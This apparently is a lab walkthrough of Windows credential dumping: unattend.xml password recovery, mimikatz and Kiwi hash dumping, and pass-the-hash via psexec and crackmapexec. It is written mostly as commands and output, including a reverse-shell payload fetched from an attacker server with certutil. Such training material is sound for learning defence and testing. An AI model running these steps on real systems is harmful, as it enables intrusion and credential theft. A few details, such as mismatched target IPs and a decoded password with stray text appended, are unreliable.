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🔬Credentials Dumping

Lab 1 - Unattended Files

🔬 Unattended Installation

  • Target IP: 10.4.19.9
  • Searching for password in Windows Configuration files
  • Both Kali Machine and Attacker/Victim Windows machine are provided
  • On the Attacker machine check the current user

Exploitation

  • From the Kali machine, generate a meterpreter x64 payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.4.2 LPORT=1234 -f exe > payload.exe
  • Set up a web server to host the payload
python -m SimpleHTTPServer 80
  • Download the payload file on the target system using the certutil tool in cmd
cd Desktop
certutil -urlcache -f http://10.10.4.2/payload.exe payload.exe
  • Stop the http server and start msfconsole on the Kali machine
msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 1234
set LHOST 10.10.4.2
run
  • Execute the payload.exe on the Win target system and check the reverse shell on Kali

  • Manually search for the unattend.xml file, it should be inside
    • C:\\Windows\\Panther
cd C:\\Windows\\Panther
dir
download unattend.xml

  • In a new terminal tab
cat unattend.xml

Get Access

  • administrator user configured base64 password is QWRtaW5AMTIz
    • Save it to a new file
    • Decode it using the base64 tool
nano password.txt
# paste the password, save and exit the file

base64 -d password.txt 
	Admin@123root

  • Test the administrator:Admin@123root credentials with the psexec tool
psexec.py administrator@10.4.19.9


cd C:\Users\Administrator\Desktop
type flag.txt
Reveal Flag: 🚩

097ab83639dce0ab3429cb0349493f60

Lab 2 - Mimikatz

🔬 Windows: Meterpreter: Kiwi Extension

  • Target IP: 10.2.29.32
  • Dumping passwords hashes with mimikatz
  • Both Kali Machine and Attacker/Victim Windows machine are provided

Enumeration & Exploitation

nmap 10.2.29.32
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
nmap -sV -p 80 10.2.29.32
80/tcp open  http    BadBlue httpd 2.7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  • 📌 Exploit BadBlue 2.7 with metasploit
msfconsole -q
search badblue
use exploit/windows/http/badblue_passthru
set RHOSTS 10.2.29.32
run

Privilege Escalation

sysinfo
getuid
pgrep lsass
migrate 768

NT AUTHORITY\SYSTEM

Hash Dumping - Kiwi

  • In the meterpreter session load Kiwi
load kiwi
help

Kiwi

Kiwi Commands

  • Retrieve all credentials
creds_all
msv credentials
===============
Username       Domain         NTLM                              SHA1
--------       ------         ----                              ----
Administrator  ATTACKDEFENSE  e3c61a68f1b89ee6c8ba9507378dc88d  fa62275e30d286c09d30d8fece82664eb34323ef

wdigest credentials
===================
Username        Domain         Password
--------        ------         --------
(null)          (null)         (null)
ATTACKDEFENSE$  WORKGROUP      (null)
Administrator   ATTACKDEFENSE  (null)
# clear-text passwords are not stored on Win2016

kerberos credentials
====================
Username        Domain         Password
--------        ------         --------
(null)          (null)         (null)
Administrator   ATTACKDEFENSE  (null)
attackdefense$  WORKGROUP      (null)
  • Dump LSA SAM (NTLM hashes for all users)
lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : ATTACKDEFENSE
SysKey : 377af0de68bdc918d22c57a263d38326
Local SID : S-1-5-21-3688751335-3073641799-161370460

SAMKey : 858f5bda5c99e45094a6a1387241a33d

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: e3c61a68f1b89ee6c8ba9507378dc88d

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 58f8e0214224aebc2c5f82fb7cb47ca1

RID  : 000003f0 (1008)
User : student
  Hash NTLM: bd4ca1fbe028f3c5066467a7f6a73b0b

  • Dump LSA secrets. This could provide with clear-text passwords
lsa_dump_secrets

[+] Running as SYSTEM
[*] Dumping LSA secrets
Domain : ATTACKDEFENSE
SysKey : 377af0de68bdc918d22c57a263d38326

Local name : ATTACKDEFENSE ( S-1-5-21-3688751335-3073641799-161370460 )
Domain name : WORKGROUP

Policy subsystem is : 1.18
LSA Key(s) : 1, default {47980b9c-8bd1-89c9-bfb5-0c4fca25e625}
  [00] {47980b9c-8bd1-89c9-bfb5-0c4fca25e625} 247e7be223db5e50291fc0fcec276ff8236c32a8a6183c5a0d0b6b044590ce06

Secret  : DPAPI_SYSTEM
cur/hex : 01 00 00 00 34 5e 65 80 f9 04 a4 8c a5 0e 6c 74 6c d2 c3 b8 8e 7a ca c3 a3 3b 0e 6e 0a 64 f3 12 fc c7 92 67 a3 2f d5 d1 e4 41 33 ac 
    full: 345e6580f904a48ca50e6c746cd2c3b88e7acac3a33b0e6e0a64f312fcc79267a32fd5d1e44133ac
    m/u : 345e6580f904a48ca50e6c746cd2c3b88e7acac3 / a33b0e6e0a64f312fcc79267a32fd5d1e44133ac
old/hex : 01 00 00 00 c1 3a 28 e3 94 7b 64 5d 94 29 b4 c9 1c 9b 0c b1 b6 5a aa 2c 34 4d ee ed 86 74 0f 12 25 37 8c 38 69 b3 b4 53 b6 37 86 44 
    full: c13a28e3947b645d9429b4c91c9b0cb1b65aaa2c344deeed86740f1225378c3869b3b453b6378644
    m/u : c13a28e3947b645d9429b4c91c9b0cb1b65aaa2c / 344deeed86740f1225378c3869b3b453b6378644

Secret  : NL$KM
cur/hex : 8d d2 8e 67 54 58 89 b1 c9 53 b9 5b 46 a2 b3 66 d4 3b 95 80 92 7d 67 78 b7 1d f9 2d a5 55 b7 a3 61 aa 4d 86 95 85 43 86 e3 12 9e c4 91 cf 9a 5b d8 bb 0d ae fa d3 41 e0 d8 66 3d 19 75 a2 d1 b2 
old/hex : 8d d2 8e 67 54 58 89 b1 c9 53 b9 5b 46 a2 b3 66 d4 3b 95 80 92 7d 67 78 b7 1d f9 2d a5 55 b7 a3 61 aa 4d 86 95 85 43 86 e3 12 9e c4 91 cf 9a 5b d8 bb 0d ae fa d3 41 e0 d8 66 3d 19 75 a2 d1 b2

Hash Dumping - Mimikatz.exe

cd C:\\
mkdir Temp
cd Temp
meterpreter > upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell
  • Run mimikatz.exe
mimikatz.exe
privilege::debug
	Privilege '20' OK
# I have the required privileges for hash extraction from memory
  • Dump the cache of the lsass process
lsadump::sam

lsadump::sam

lsadump::secrets

lsadump::secrets

  • Display logon passwords, when stored in clear-text
    • in this case clear-text password are disabled - (null)
sekurlsa::logonPasswords

sekurlsa::logonPasswords

Reveal Flag - Administrator NTLM Hash is: 🚩

e3c61a68f1b89ee6c8ba9507378dc88d

Reveal Flag - Student NTLM Hash is: 🚩

bd4ca1fbe028f3c5066467a7f6a73b0b

Reveal Flag - SysKey is: 🚩

377af0de68bdc918d22c57a263d38326

Lab 3 - Pass-the-hash

🔬 Windows: Meterpreter: Kiwi Extension - same lab as Lab 2

  • Target IP changed: 10.2.29.32
  • Use Pass-the-hash attack
  • Both Kali Machine and Attacker/Victim Windows machine are provided

Enumeration & Exploitation

nmap 10.2.23.202
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
5357/tcp open  wsdapi
nmap -sV -p 80 10.2.23.202
80/tcp open  http    BadBlue httpd 2.7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  • 📌 Exploit BadBlue 2.7 with metasploit
msfconsole -q
search badblue
use exploit/windows/http/badblue_passthru
set RHOSTS 10.2.23.202
run

Privilege Escalation

pgrep lsass
migrate 772
getuid
	Server username: NT AUTHORITY\SYSTEM

Hash Dumping - Kiwi

load kiwi
lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : ATTACKDEFENSE
SysKey : 377af0de68bdc918d22c57a263d38326
Local SID : S-1-5-21-3688751335-3073641799-161370460

SAMKey : 858f5bda5c99e45094a6a1387241a33d

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: e3c61a68f1b89ee6c8ba9507378dc88d

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 58f8e0214224aebc2c5f82fb7cb47ca1

RID  : 000003f0 (1008)
User : student
  Hash NTLM: bd4ca1fbe028f3c5066467a7f6a73b0b

📌 Save users NTLM hashes in a text file for future use

Administrator: e3c61a68f1b89ee6c8ba9507378dc88d

student: bd4ca1fbe028f3c5066467a7f6a73b0b

Pass-the-hash PSExec

hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
student:1008:aad3b435b51404eeaad3b435b51404ee:bd4ca1fbe028f3c5066467a7f6a73b0b:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
  • LM+NTLM hash is necessary, so copy the string:

aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d

  • Use PSExec to login with Administrator user and its password hashes
background
search psexec
use exploit/windows/smb/psexec
options
sessions
# change Payload options
set LPORT 4422
set RHOSTS 10.2.23.202
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d
# set target Native\ upload
exploit
getuid
sysinfo

Crackmapexec

crackmapexec smb 10.2.23.202 -u Administrator -H "e3c61a68f1b89ee6c8ba9507378dc88d" -x "whoami"